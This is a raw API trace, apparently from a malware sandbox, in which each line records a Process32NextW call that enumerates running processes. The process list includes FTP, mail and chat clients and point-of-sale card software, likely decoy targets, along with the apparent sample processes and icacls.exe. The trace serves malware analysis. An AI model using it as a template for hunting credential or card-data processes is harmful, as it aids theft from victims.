	[0248.035] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.037] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.039] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0248.041] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0248.043] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0248.045] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0248.047] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.049] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.051] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0248.054] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.056] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0248.058] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0248.060] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0248.062] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0248.064] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0248.234] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0248.236] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0248.238] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0248.240] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0248.242] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0248.244] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0248.246] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0248.248] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0248.250] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0248.252] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0248.254] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0248.256] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0248.258] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0248.260] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0248.262] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0248.264] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0248.266] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0248.268] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0248.448] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0248.450] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0248.452] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0248.454] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0248.474] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0248.476] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0248.477] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0248.479] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0248.481] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0248.482] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0248.484] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0248.486] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0248.488] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0248.490] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0248.492] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0248.493] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0248.495] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0248.497] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0248.499] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0248.500] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0248.502] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0248.844] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0248.846] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0248.848] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0248.850] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0248.852] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0248.854] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0248.856] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0248.857] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0248.860] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0248.862] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0248.864] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0248.865] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0248.867] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0248.869] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0248.871] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0248.873] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0248.874] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0249.143] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0249.145] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0249.147] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0249.149] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0249.151] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0249.152] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa3, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0249.154] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0249.156] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0249.158] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
